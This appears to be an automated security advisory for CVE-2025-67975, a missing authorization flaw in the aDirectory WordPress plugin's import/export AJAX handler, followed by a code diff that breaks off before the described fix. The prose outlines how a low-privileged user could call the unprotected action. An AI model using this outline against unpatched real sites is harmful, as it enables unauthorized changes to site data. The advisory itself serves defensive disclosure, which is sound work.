Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-67975: aDirectory <= 3.0.3 – Missing Authorization (adirectory)

Plugin adirectory
Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.0.3
Patched Version 3.0.4
Disclosed January 26, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-67975:
The aDirectory WordPress plugin, versions up to and including 3.0.3, contains a missing authorization vulnerability. This flaw allows authenticated attackers with Subscriber-level access or higher to perform unauthorized actions intended for administrators. The vulnerability has a CVSS score of 4.3 (Medium severity).

Atomic Edge research identifies the root cause as a missing capability check in the `adqs_ajax_import_export` function within the `AdminAjaxAjax_Loader` class. The vulnerable function is located in the file `/adirectory/inc/Admin/Ajax/Ajax_Loader.php`. The function handles AJAX requests for the plugin’s import/export feature. The original code, before the patch, registered the AJAX action `wp_ajax_adqs_import_export` without verifying the user’s permissions. The function `adqs_ajax_import_export` directly processed the request without calling `check_permission_nonce` or any other authorization mechanism.

The exploitation method involves an authenticated attacker sending a crafted POST request to the WordPress admin AJAX endpoint. The attacker must have at least Subscriber-level access. The request targets `/wp-admin/admin-ajax.php` with the `action` parameter set to `adqs_import_export`. The attacker can supply additional parameters to trigger the import or export functionality, such as `import_type` and `import_data`, potentially allowing unauthorized data manipulation or export of sensitive plugin configuration.

The patch, implemented in version 3.0.4, adds a proper capability check. The diff shows the addition of a call to `$this->check_permission_nonce(‘adqs_import_export’, ‘manage_options’);` at the beginning of the `adqs_ajax_import_export` function in `/adirectory/inc/Admin/Ajax/Ajax_Loader.php`. This function verifies a valid nonce and ensures the current user has the `manage_options` capability, which is typically reserved for administrators. The fix prevents users with lower privileges from executing the import/export AJAX handler.

Successful exploitation of this vulnerability allows attackers with minimal privileges to interact with the plugin’s import/export system. This could lead to unauthorized export of sensitive directory configuration data or the import of malicious data, potentially disrupting the directory’s operation or modifying its structure. While the exact impact depends on the import/export functionality’s scope, it represents a clear violation of the principle of least privilege.

Differential between vulnerable and patched code

Code Diff
--- a/adirectory/adirectory.php
+++ b/adirectory/adirectory.php
@@ -6,7 +6,7 @@
  * Author:  adirectory
  * Author URI:  http://adirectory.io
  * Description: Directory Plugins that help to build Business Directory, Classified listing and WordPress Listing Directory websites.
- * Version:     3.0.3
+ * Version:     3.0.4
  * Requires at least: 6.0
  * Tested up to: 6.8.3
  * Requires PHP: 7.4
--- a/adirectory/inc/Addons.php
+++ b/adirectory/inc/Addons.php
@@ -1,61 +1,61 @@
-<?php
-
-namespace ADQS_Directory;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-/**
- * Addons handlers class
- */
-class Addons {
-
-
-	/**
-	 * Class constructor
-	 */
-	function __construct() {
-		self::register_services();
-	}
-	/**
-	 * Store all the classes inside an array
-	 *
-	 * @return array Full list of classes
-	 */
-	public static function get_services() {
-		$allServices = [];
-
-		return [
-			AddonsElementorAddon::class,
-
-		];
-	}
-
-
-	/**
-	 * Loop through the classes, initialize them,
-	 * and call the register() method if it exists
-	 *
-	 * @return
-	 */
-	public static function register_services() {
-		foreach ( self::get_services() as $class ) {
-			self::instantiate( $class );
-		}
-	}
-
-
-
-	/**
-	 * Initialize the class
-	 *
-	 * @param  /class from the services array
-	 * @return /class instance  new instance of the class
-	 */
-	private static function instantiate( $class ) {
-		if ( class_exists( $class ) ) {
-			$service = new $class();
-			return $service;
-		}
-	}
-}
+<?php
+
+namespace ADQS_Directory;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
+}
+/**
+ * Addons handlers class
+ */
+class Addons {
+
+
+	/**
+	 * Class constructor
+	 */
+	function __construct() {
+		self::register_services();
+	}
+	/**
+	 * Store all the classes inside an array
+	 *
+	 * @return array Full list of classes
+	 */
+	public static function get_services() {
+		$allServices = [];
+
+		return [
+			AddonsElementorAddon::class,
+
+		];
+	}
+
+
+	/**
+	 * Loop through the classes, initialize them,
+	 * and call the register() method if it exists
+	 *
+	 * @return
+	 */
+	public static function register_services() {
+		foreach ( self::get_services() as $class ) {
+			self::instantiate( $class );
+		}
+	}
+
+
+
+	/**
+	 * Initialize the class
+	 *
+	 * @param  /class from the services array
+	 * @return /class instance  new instance of the class
+	 */
+	private static function instantiate( $class ) {
+		if ( class_exists( $class ) ) {
+			$service = new $class();
+			return $service;
+		}
+	}
+}
--- a/adirectory/inc/Addons/ElementorAddon.php
+++ b/adirectory/inc/Addons/ElementorAddon.php
@@ -1,73 +1,73 @@
-<?php
-
-namespace ADQS_DirectoryAddons;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-/**
- * Api handlers class
- * Since 2,0
- */
-class ElementorAddon {
-
-
-	/**
-	 * Class constructor
-	 */
-	public $categories;
-
-	public function __construct() {
-		// elementor categories
-		add_action( 'elementor/elements/categories_registered', [ $this, 'widget_categories' ] );
-
-		// elementor editor css
-		add_action(
-			'elementor/editor/after_enqueue_scripts',
-			function () {
-				wp_enqueue_style( 'adqs-elemntor-editor', ADQS_DIRECTORY_ASSETS_URL . '/admin/css/elemntor-editor.css', [], ADQS_DIRECTORY_VERSION );
-			}
-		);
-		add_action( 'elementor/widgets/widgets_registered', [ $this, 'widgets_registered' ] );
-	}
-
-
-	/**
-	 * Widgets elements categories
-	 *
-	 * @since   1.0.0
-	 */
-	public function widget_categories( $elements_manager ) {
-
-		$categories                  = [];
-		$categories['adqs-category'] = [
-			'title' => __( 'aDirectory', 'adirectory' ),
-			'icon'  => 'fa fa-plug',
-		];
-
-		$old_categories = $elements_manager->get_categories();
-		$categories     = array_merge( $categories, $old_categories );
-
-		$set_categories = function ( $categories ) {
-			$this->categories = $categories;
-		};
-
-		$set_categories->call( $elements_manager, $categories );
-	}
-
-	/**
-	 * Widgets elements
-	 *
-	 * @since   1.0.0
-	 */
-	public function widgets_registered() {
-		$directory = ADQS_DIRECTORY_INC . '/Addons/elementor/widgets' . '/*.php';
-		$phpFiles  = glob( $directory );
-
-		foreach ( $phpFiles as $file ) {
-			if ( file_exists( $file ) ) {
-				require_once $file;
-			}
-		}
-	}
-}
+<?php
+
+namespace ADQS_DirectoryAddons;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
+}
+/**
+ * Api handlers class
+ * Since 2,0
+ */
+class ElementorAddon {
+
+
+	/**
+	 * Class constructor
+	 */
+	public $categories;
+
+	public function __construct() {
+		// elementor categories
+		add_action( 'elementor/elements/categories_registered', [ $this, 'widget_categories' ] );
+
+		// elementor editor css
+		add_action(
+			'elementor/editor/after_enqueue_scripts',
+			function () {
+				wp_enqueue_style( 'adqs-elemntor-editor', ADQS_DIRECTORY_ASSETS_URL . '/admin/css/elemntor-editor.css', [], ADQS_DIRECTORY_VERSION );
+			}
+		);
+		add_action( 'elementor/widgets/widgets_registered', [ $this, 'widgets_registered' ] );
+	}
+
+
+	/**
+	 * Widgets elements categories
+	 *
+	 * @since   1.0.0
+	 */
+	public function widget_categories( $elements_manager ) {
+
+		$categories                  = [];
+		$categories['adqs-category'] = [
+			'title' => __( 'aDirectory', 'adirectory' ),
+			'icon'  => 'fa fa-plug',
+		];
+
+		$old_categories = $elements_manager->get_categories();
+		$categories     = array_merge( $categories, $old_categories );
+
+		$set_categories = function ( $categories ) {
+			$this->categories = $categories;
+		};
+
+		$set_categories->call( $elements_manager, $categories );
+	}
+
+	/**
+	 * Widgets elements
+	 *
+	 * @since   1.0.0
+	 */
+	public function widgets_registered() {
+		$directory = ADQS_DIRECTORY_INC . '/Addons/elementor/widgets' . '/*.php';
+		$phpFiles  = glob( $directory );
+
+		foreach ( $phpFiles as $file ) {
+			if ( file_exists( $file ) ) {
+				require_once $file;
+			}
+		}
+	}
+}
--- a/adirectory/inc/Addons/elementor/widgets/class.agents.php
+++ b/adirectory/inc/Addons/elementor/widgets/class.agents.php
@@ -1,253 +1,253 @@
-<?php
-/*
- * All Agents
-*/
-
-namespace Elementor;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-
-class Agents extends Widget_Base {
-
-
-
-
-	/**
-	 * Retrieve the widget name.
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 *
-	 * @return string Widget name.
-	 */
-	public function get_name() {
-		return 'adqs_agents';
-	}
-
-	/**
-	 * Retrieve the widget title.
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 *
-	 * @return string Widget title.
-	 */
-	public function get_title() {
-		return esc_html__( 'AD : All Agents', 'adirectory' );
-	}
-
-	/**
-	 * Retrieve the widget icon.
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 *
-	 * @return string Widget icon.
-	 */
-	public function get_icon() {
-		return 'adqs-icon-e eicon-site-identity';
-	}
-
-	/**
-	 * Retrieve the list of  the widget belongs to.
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 *
-	 * @return array Widget.
-	 */
-	public function get_categories() {
-		return [ 'adqs-category' ];
-	}
-
-	public function get_style_depends() {
-		return [ 'adqs_all_agents' ];
-	}
-
-	/**
-	 * Register agents widget controls.
-	 *
-	 * Adds different input fields to allow the user to change and customize the widget settings.
-	 *
-	 * @since 1.0.0
-	 * @access protected
-	 */
-	protected function register_controls() {
-
-		$this->start_controls_section(
-			'section_options',
-			[
-				'label' => esc_html__( 'Options', 'adirectory' ),
-				'tab'   => Controls_Manager::TAB_CONTENT,
-			]
-		);
-
-		$this->add_control(
-			'ajax_filter',
-			[
-				'label'        => esc_html__( 'Ajax Filters ?', 'adirectory' ),
-				'type'         => Controls_Manager::SWITCHER,
-				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
-				'label_off'    => esc_html__( 'No', 'adirectory' ),
-				'return_value' => 'true',
-				'default'      => empty( adqs_get_setting_option( 'ajax_filters' ) ) ? 'false' : 'true',
-
-			]
-		);
-		$this->add_control(
-			'nav_bar_show',
-			[
-				'label'        => esc_html__( 'Nav Bar Show ?', 'adirectory' ),
-				'type'         => Controls_Manager::SWITCHER,
-				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
-				'label_off'    => esc_html__( 'No', 'adirectory' ),
-				'return_value' => 'true',
-				'default'      => 'true',
-
-			]
-		);
-		$this->add_control(
-			'search_bar_show',
-			[
-				'label'        => esc_html__( 'Search Bar Show ?', 'adirectory' ),
-				'type'         => Controls_Manager::SWITCHER,
-				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
-				'label_off'    => esc_html__( 'No', 'adirectory' ),
-				'return_value' => 'true',
-				'default'      => 'true',
-
-			]
-		);
-		$this->add_control(
-			'sort_by_show',
-			[
-				'label'        => esc_html__( 'Sort By Show ?', 'adirectory' ),
-				'type'         => Controls_Manager::SWITCHER,
-				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
-				'label_off'    => esc_html__( 'No', 'adirectory' ),
-				'return_value' => 'true',
-				'default'      => 'true',
-
-			]
-		);
-		$this->add_control(
-			'reset_filter',
-			[
-				'label'        => esc_html__( 'Reset Filter Show ?', 'adirectory' ),
-				'type'         => Controls_Manager::SWITCHER,
-				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
-				'label_off'    => esc_html__( 'No', 'adirectory' ),
-				'return_value' => 'true',
-				'default'      => 'true',
-
-			]
-		);
-
-		$this->add_control(
-			'per_page',
-			[
-				'label'       => esc_html__( 'Agents Per Page', 'adirectory' ),
-				'type'        => Controls_Manager::NUMBER,
-				'min'         => 1,
-				'max'         => 100,
-				'step'        => 1,
-				'default'     => 8,
-				'description' => esc_html__( 'Number of agents to display per page', 'adirectory' ),
-			]
-		);
-
-		$this->add_control(
-			'directory_dropdown',
-			[
-				'label'       => esc_html__( 'Directory Dropdown After', 'adirectory' ),
-				'type'        => Controls_Manager::NUMBER,
-				'min'         => 2,
-				'max'         => 20,
-				'step'        => 1,
-				'default'     => 4,
-				'description' => esc_html__( 'Show dropdown after this many directory types', 'adirectory' ),
-			]
-		);
-
-		$this->end_controls_section(); // end: Section
-
-		/*
-		-----------------------
-			SLIDER OPTIONS END
-		-------------------------*/
-
-		$this->start_controls_section(
-			'golbal_color',
-			[
-				'label' => esc_html__( 'Global Color', 'adirectory' ),
-				'tab'   => ElementorControls_Manager::TAB_STYLE,
-			]
-		);
-		$this->add_control(
-			'golbal_primary_color',
-			[
-				'label'     => esc_html__( 'Primary Color', 'adirectory' ),
-				'type'      => ElementorControls_Manager::COLOR,
-				'selectors' => [
-					'{{WRAPPER}} .adqs-agents-area' => '--color-primary: {{VALUE}}',
-				],
-			]
-		);
-		$this->add_control(
-			'golbal_secondary_color',
-			[
-				'label'     => esc_html__( 'Secondary Color', 'adirectory' ),
-				'type'      => ElementorControls_Manager::COLOR,
-				'selectors' => [
-					'{{WRAPPER}} .adqs-agents-area' => '--color-secondary: {{VALUE}}',
-				],
-			]
-		);
-		$this->end_controls_section();
-	}
-
-	/**
-	 * Render agents widget output on the frontend.
-	 *
-	 * Written in PHP and used to generate the final HTML.
-	 *
-	 * @since 1.0.0
-	 * @access protected
-	 */
-	protected function render() {
-		$settings = $this->get_settings_for_display();
-
-		// Get the basic shortcode attributes
-		$per_page           = $settings['per_page'] ?? 8;
-		$directory_dropdown = $settings['directory_dropdown'] ?? 4;
-		$ajax_filter        = $settings['ajax_filter'] ?? 'true';
-		$nav_bar_show       = $settings['nav_bar_show'] ?? 'true';
-		$search_bar_show    = $settings['search_bar_show'] ?? 'true';
-		$sort_by_show       = $settings['sort_by_show'] ?? 'true';
-		$reset_filter       = $settings['reset_filter'] ?? 'true';
-
-		// Generate the shortcode with proper attributes
-		$shortcode = "[adqs_agents
-			per_page='{$per_page}'
-			ajax_filter='{$ajax_filter}'
-			nav_bar_show='{$nav_bar_show}'
-			search_bar_show='{$search_bar_show}'
-			sort_by_show='{$sort_by_show}'
-			reset_filter='{$reset_filter}'
-			directory_dropdown='{$directory_dropdown}'
-
-			from_addon='true'
-		]";
-
-		// Output the shortcode
-		echo do_shortcode( $shortcode );
-	}
-}
-
-Plugin::instance()->widgets_manager->register( new Agents() );
+<?php
+/*
+ * All Agents
+*/
+
+namespace Elementor;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
+}
+
+class Agents extends Widget_Base {
+
+
+
+
+	/**
+	 * Retrieve the widget name.
+	 *
+	 * @since 1.0.0
+	 *
+	 * @access public
+	 *
+	 * @return string Widget name.
+	 */
+	public function get_name() {
+		return 'adqs_agents';
+	}
+
+	/**
+	 * Retrieve the widget title.
+	 *
+	 * @since 1.0.0
+	 *
+	 * @access public
+	 *
+	 * @return string Widget title.
+	 */
+	public function get_title() {
+		return esc_html__( 'AD : All Agents', 'adirectory' );
+	}
+
+	/**
+	 * Retrieve the widget icon.
+	 *
+	 * @since 1.0.0
+	 *
+	 * @access public
+	 *
+	 * @return string Widget icon.
+	 */
+	public function get_icon() {
+		return 'adqs-icon-e eicon-site-identity';
+	}
+
+	/**
+	 * Retrieve the list of  the widget belongs to.
+	 *
+	 * @since 1.0.0
+	 *
+	 * @access public
+	 *
+	 * @return array Widget.
+	 */
+	public function get_categories() {
+		return [ 'adqs-category' ];
+	}
+
+	public function get_style_depends() {
+		return [ 'adqs_all_agents' ];
+	}
+
+	/**
+	 * Register agents widget controls.
+	 *
+	 * Adds different input fields to allow the user to change and customize the widget settings.
+	 *
+	 * @since 1.0.0
+	 * @access protected
+	 */
+	protected function register_controls() {
+
+		$this->start_controls_section(
+			'section_options',
+			[
+				'label' => esc_html__( 'Options', 'adirectory' ),
+				'tab'   => Controls_Manager::TAB_CONTENT,
+			]
+		);
+
+		$this->add_control(
+			'ajax_filter',
+			[
+				'label'        => esc_html__( 'Ajax Filters ?', 'adirectory' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
+				'label_off'    => esc_html__( 'No', 'adirectory' ),
+				'return_value' => 'true',
+				'default'      => empty( adqs_get_setting_option( 'ajax_filters' ) ) ? 'false' : 'true',
+
+			]
+		);
+		$this->add_control(
+			'nav_bar_show',
+			[
+				'label'        => esc_html__( 'Nav Bar Show ?', 'adirectory' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
+				'label_off'    => esc_html__( 'No', 'adirectory' ),
+				'return_value' => 'true',
+				'default'      => 'true',
+
+			]
+		);
+		$this->add_control(
+			'search_bar_show',
+			[
+				'label'        => esc_html__( 'Search Bar Show ?', 'adirectory' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
+				'label_off'    => esc_html__( 'No', 'adirectory' ),
+				'return_value' => 'true',
+				'default'      => 'true',
+
+			]
+		);
+		$this->add_control(
+			'sort_by_show',
+			[
+				'label'        => esc_html__( 'Sort By Show ?', 'adirectory' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
+				'label_off'    => esc_html__( 'No', 'adirectory' ),
+				'return_value' => 'true',
+				'default'      => 'true',
+
+			]
+		);
+		$this->add_control(
+			'reset_filter',
+			[
+				'label'        => esc_html__( 'Reset Filter Show ?', 'adirectory' ),
+				'type'         => Controls_Manager::SWITCHER,
+				'label_on'     => esc_html__( 'Yes', 'adirectory' ),
+				'label_off'    => esc_html__( 'No', 'adirectory' ),
+				'return_value' => 'true',
+				'default'      => 'true',
+
+			]
+		);
+
+		$this->add_control(
+			'per_page',
+			[
+				'label'       => esc_html__( 'Agents Per Page', 'adirectory' ),
+				'type'        => Controls_Manager::NUMBER,
+				'min'         => 1,
+				'max'         => 100,
+				'step'        => 1,
+				'default'     => 8,
+				'description' => esc_html__( 'Number of agents to display per page', 'adirectory' ),
+			]
+		);
+
+		$this->add_control(
+			'directory_dropdown',
+			[
+				'label'       => esc_html__( 'Directory Dropdown After', 'adirectory' ),
+				'type'        => Controls_Manager::NUMBER,
+				'min'         => 2,
+				'max'         => 20,
+				'step'        => 1,
+				'default'     => 4,
+				'description' => esc_html__( 'Show dropdown after this many directory types', 'adirectory' ),
+			]
+		);
+
+		$this->end_controls_section(); // end: Section
+
+		/*
+		-----------------------
+			SLIDER OPTIONS END
+		-------------------------*/
+
+		$this->start_controls_section(
+			'golbal_color',
+			[
+				'label' => esc_html__( 'Global Color', 'adirectory' ),
+				'tab'   => ElementorControls_Manager::TAB_STYLE,
+			]
+		);
+		$this->add_control(
+			'golbal_primary_color',
+			[
+				'label'     => esc_html__( 'Primary Color', 'adirectory' ),
+				'type'      => ElementorControls_Manager::COLOR,
+				'selectors' => [
+					'{{WRAPPER}} .adqs-agents-area' => '--color-primary: {{VALUE}}',
+				],
+			]
+		);
+		$this->add_control(
+			'golbal_secondary_color',
+			[
+				'label'     => esc_html__( 'Secondary Color', 'adirectory' ),
+				'type'      => ElementorControls_Manager::COLOR,
+				'selectors' => [
+					'{{WRAPPER}} .adqs-agents-area' => '--color-secondary: {{VALUE}}',
+				],
+			]
+		);
+		$this->end_controls_section();
+	}
+
+	/**
+	 * Render agents widget output on the frontend.
+	 *
+	 * Written in PHP and used to generate the final HTML.
+	 *
+	 * @since 1.0.0
+	 * @access protected
+	 */
+	protected function render() {
+		$settings = $this->get_settings_for_display();
+
+		// Get the basic shortcode attributes
+		$per_page           = $settings['per_page'] ?? 8;
+		$directory_dropdown = $settings['directory_dropdown'] ?? 4;
+		$ajax_filter        = $settings['ajax_filter'] ?? 'true';
+		$nav_bar_show       = $settings['nav_bar_show'] ?? 'true';
+		$search_bar_show    = $settings['search_bar_show'] ?? 'true';
+		$sort_by_show       = $settings['sort_by_show'] ?? 'true';
+		$reset_filter       = $settings['reset_filter'] ?? 'true';
+
+		// Generate the shortcode with proper attributes
+		$shortcode = "[adqs_agents
+			per_page='{$per_page}'
+			ajax_filter='{$ajax_filter}'
+			nav_bar_show='{$nav_bar_show}'
+			search_bar_show='{$search_bar_show}'
+			sort_by_show='{$sort_by_show}'
+			reset_filter='{$reset_filter}'
+			directory_dropdown='{$directory_dropdown}'
+
+			from_addon='true'
+		]";
+
+		// Output the shortcode
+		echo do_shortcode( $shortcode );
+	}
+}
+
+Plugin::instance()->widgets_manager->register( new Agents() );
--- a/adirectory/inc/Admin.php
+++ b/adirectory/inc/Admin.php
@@ -1,65 +1,65 @@
-<?php
-
-namespace ADQS_Directory;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit; // Exit if accessed directly
-}
-/**
- * Admin handlers class
- */
-class Admin {
-
-
-
-	/**
-	 * Class constructor
-	 */
-	function __construct() {
-		self::register_services();
-	}
-	/**
-	 * Store all the classes inside an array
-	 *
-	 * @return array Full list of classes
-	 */
-	public static function get_services() {
-		return [
-			AdminMenu::class,
-			AdminAssets::class,
-			AdminApi::class,
-			AdminCustomize::class,
-			AdminNotice::class,
-			AdminAjaxAjax_Loader::class,
-			AdminImporterAdImportExport::class,
-		];
-	}
-
-
-	/**
-	 * Loop through the classes, initialize them,
-	 * and call the register() method if it exists
-	 *
-	 * @return
-	 */
-	public static function register_services() {
-		foreach ( self::get_services() as $class ) {
-			self::instantiate( $class );
-		}
-	}
-
-
-
-	/**
-	 * Initialize the class
-	 *
-	 * @param  /class from the services array
-	 * @return /class instance  new instance of the class
-	 */
-	private static function instantiate( $class ) {
-		if ( class_exists( $class ) ) {
-			$service = new $class();
-			return $service;
-		}
-	}
-}
+<?php
+
+namespace ADQS_Directory;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly
+}
+/**
+ * Admin handlers class
+ */
+class Admin {
+
+
+
+	/**
+	 * Class constructor
+	 */
+	function __construct() {
+		self::register_services();
+	}
+	/**
+	 * Store all the classes inside an array
+	 *
+	 * @return array Full list of classes
+	 */
+	public static function get_services() {
+		return [
+			AdminMenu::class,
+			AdminAssets::class,
+			AdminApi::class,
+			AdminCustomize::class,
+			AdminNotice::class,
+			AdminAjaxAjax_Loader::class,
+			AdminImporterAdImportExport::class,
+		];
+	}
+
+
+	/**
+	 * Loop through the classes, initialize them,
+	 * and call the register() method if it exists
+	 *
+	 * @return
+	 */
+	public static function register_services() {
+		foreach ( self::get_services() as $class ) {
+			self::instantiate( $class );
+		}
+	}
+
+
+
+	/**
+	 * Initialize the class
+	 *
+	 * @param  /class from the services array
+	 * @return /class instance  new instance of the class
+	 */
+	private static function instantiate( $class ) {
+		if ( class_exists( $class ) ) {
+			$service = new $class();
+			return $service;
+		}
+	}
+}
--- a/adirectory/inc/Admin/AdminHelper.php
+++ b/adirectory/inc/Admin/AdminHelper.php
@@ -1,79 +1,79 @@
-<?php
-
-namespace ADQS_DirectoryAdmin;
-
-// Exit if accessed directly.
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-class AdminHelper {
-
-
-	public static function setting_by_key( $key ) {
-		$settings = json_decode( wp_json_encode( get_option( 'adqs_admin_settings' ) ), true );
-
-		return $settings;
-	}
-	public static function listing_count_by_status( $status = 'all' ) {
-		$dynamic_post_types = adqs_get_directory_post_types();
-
-		if ( empty( $dynamic_post_types ) ) {
-			return 0;
-		}
-
-		if ( $status === 'all' ) {
-			$args = [
-				'post_type'      => $dynamic_post_types,
-				'post_status'    => [ 'publish', 'pending' ],
-				'posts_per_page' => -1, // Retrieve all posts
-				'fields'         => 'ids', // Fetch only post IDs to optimize performance
-			];
-
-			$listings_count = count( get_posts( $args ) );
-
-			return (int) $listings_count;
-		} else {
-			$args = [
-				'post_type'      => $dynamic_post_types,
-				'post_status'    => $status,
-				'posts_per_page' => -1, // Retrieve all posts
-				'fields'         => 'ids', // Fetch only post IDs to optimize performance
-			];
-
-			$listings_count = count( get_posts( $args ) );
-
-			if ( $listings_count ) {
-				return (int) $listings_count;
-			} else {
-				return 0;
-			}
-		}
-	}
-
-	public static function listing_count_by_today( $status = 'publish' ) {
-		$dynamic_post_types = adqs_get_directory_post_types();
-
-		$args = [
-			'post_type'      => $dynamic_post_types,
-			'post_status'    => $status,
-			'date_query'     => [
-				[
-					'year'  => current_time( 'Y' ),
-					'month' => current_time( 'm' ),
-					'day'   => current_time( 'd' ),
-				],
-			],
-			'posts_per_page' => -1, // Retrieve all posts
-			'fields'         => 'ids', // Fetch only post IDs to optimize performance
-		];
-
-		$listings_count = count( get_posts( $args ) );
-
-		if ( $listings_count ) {
-			return (int) $listings_count;
-		} else {
-			return 0;
-		}
-	}
-}
+<?php
+
+namespace ADQS_DirectoryAdmin;
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+class AdminHelper {
+
+
+	public static function setting_by_key( $key ) {
+		$settings = json_decode( wp_json_encode( get_option( 'adqs_admin_settings' ) ), true );
+
+		return $settings;
+	}
+	public static function listing_count_by_status( $status = 'all' ) {
+		$dynamic_post_types = adqs_get_directory_post_types();
+
+		if ( empty( $dynamic_post_types ) ) {
+			return 0;
+		}
+
+		if ( $status === 'all' ) {
+			$args = [
+				'post_type'      => $dynamic_post_types,
+				'post_status'    => [ 'publish', 'pending' ],
+				'posts_per_page' => -1, // Retrieve all posts
+				'fields'         => 'ids', // Fetch only post IDs to optimize performance
+			];
+
+			$listings_count = count( get_posts( $args ) );
+
+			return (int) $listings_count;
+		} else {
+			$args = [
+				'post_type'      => $dynamic_post_types,
+				'post_status'    => $status,
+				'posts_per_page' => -1, // Retrieve all posts
+				'fields'         => 'ids', // Fetch only post IDs to optimize performance
+			];
+
+			$listings_count = count( get_posts( $args ) );
+
+			if ( $listings_count ) {
+				return (int) $listings_count;
+			} else {
+				return 0;
+			}
+		}
+	}
+
+	public static function listing_count_by_today( $status = 'publish' ) {
+		$dynamic_post_types = adqs_get_directory_post_types();
+
+		$args = [
+			'post_type'      => $dynamic_post_types,
+			'post_status'    => $status,
+			'date_query'     => [
+				[
+					'year'  => current_time( 'Y' ),
+					'month' => current_time( 'm' ),
+					'day'   => current_time( 'd' ),
+				],
+			],
+			'posts_per_page' => -1, // Retrieve all posts
+			'fields'         => 'ids', // Fetch only post IDs to optimize performance
+		];
+
+		$listings_count = count( get_posts( $args ) );
+
+		if ( $listings_count ) {
+			return (int) $listings_count;
+		} else {
+			return 0;
+		}
+	}
+}
--- a/adirectory/inc/Admin/Ajax/Ajax_Base.php
+++ b/adirectory/inc/Admin/Ajax/Ajax_Base.php
@@ -1,100 +1,100 @@
-<?php
-namespace ADQS_DirectoryAdminAjax;
-
-if ( ! defined( 'ABSPATH' ) ) {
-	exit;
-}
-
-abstract class Ajax_Base {
-
-	const FALLBACK_ERROR = 'An unexpected error occurred.';
-
-	const PERMISSION_ERROR = 'Access denied: Insufficient permissions.';
-
-	const NONCE_ERROR = 'Security check failed: Invalid request.';
-
-	private $prefix = 'adqs';
-
-	/**
-	 * Instance
-	 *
-	 * @access private
-	 * @var object Class object.
-	 *
-	 * @since 2.0.0
-	 */
-	private static $instances = [];
-
-	/**
-	 * Initiator
-	 *
-	 * @return object initialized object of class.
-	 *
-	 * @since 2.0.0
-	 */
-	public static function get_instance() {
-		if ( ! isset( static::$instances[ static::class ] ) ) {
-			static::$instances[ static::class ] = new static();
-		}
-
-		return static::$instances[ static::class ];
-	}
-
-	abstract protected function get_events(): array;
-
-	/**
-	 * Register ajax hook.
-	 */
-	public function init() {
-		foreach ( static::get_events() as $event ) {
-			add_action( 'wp_ajax_' . $this->prefix . '_' . $event, [ $this, $event ] );
-		}
-	}
-
-	/**
-	 * Checks if the user has the permission to perform the requested action and verifies the nonce.
-	 *
-	 * @param string $option The name of the option to check the nonce against.
-	 * @param string $scope The capability required to perform the action. Default is 'manage_options'.
-	 * @param string $security The security to check the nonce against. Default is 'security'.
-	 * @return void
-	 *
-	 * @since 2.5.0
-	 */
-	public function check_permission_nonce( $action, $capability = 'manage_options', $query_arg = 'security' ) {
-		$nonce = sanitize_text_field( wp_unslash( $_POST[ $query_arg ] ?? '' ) );
-
-		if ( ! wp_verify_nonce( $nonce, $action ) ) {
-			wp_send_json_error( [ 'message' => static::NONCE_ERROR ] );
-		}
-
-		if ( ! current_user_can( $capability ) ) {
-			wp_send_json_error( [ 'message' => static::PERMISSION_ERROR ] );
-		}
-	}
-
-	/**
-	 * Save setting - Sanitizes form inputs.
-	 *
-	 * @param array $input_settings setting data.
-	 * @return array    The sanitized form inputs.
-	 */
-	public function sanitize_form_inputs( $input_settings = [] ) {
-		$new_settings = [];
-
-		if ( ! empty( $input_settings ) ) {
-			foreach ( $input_settings as $key => $value ) {
-
-				$new_key = sanitize_text_field( $key );
-
-				if ( is_array( $value ) ) {
-					$new_settings[ $new_key ] = $this->sanitize_form_inputs( $value );
-				} else {
-					$new_settings[ $new_key ] = sanitize_text_field( $value );
-				}
-			}
-		}
-
-		return $new_settings;
-	}
-}
+<?php
+namespace ADQS_DirectoryAdminAjax;
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+abstract class Ajax_Base {
+
+	const FALLBACK_ERROR = 'An unexpected error occurred.';
+
+	const PERMISSION_ERROR = 'Access denied: Insufficient permissions.';
+
+	const NONCE_ERROR = 'Security check failed: Invalid request.';
+
+	private $prefix = 'adqs';
+
+	/**
+	 * Instance
+	 *
+	 * @access private
+	 * @var object Class object.
+	 *
+	 * @since 2.0.0
+	 */
+	private static $instances = [];
+
+	/**
+	 * Initiator
+	 *
+	 * @return object initialized object of class.
+	 *
+	 * @since 2.0.0
+	 */
+	public static function get_instance() {
+		if ( ! isset( static::$instances[ static::class ] ) ) {
+			static::$instances[ static::class ] = new static();
+		}
+
+		return static::$instances[ static::class ];
+	}
+
+	abstract protected function get_events(): array;
+
+	/**
+	 * Register ajax hook.
+	 */
+	public function init() {
+		foreach ( static::get_events() as $event ) {
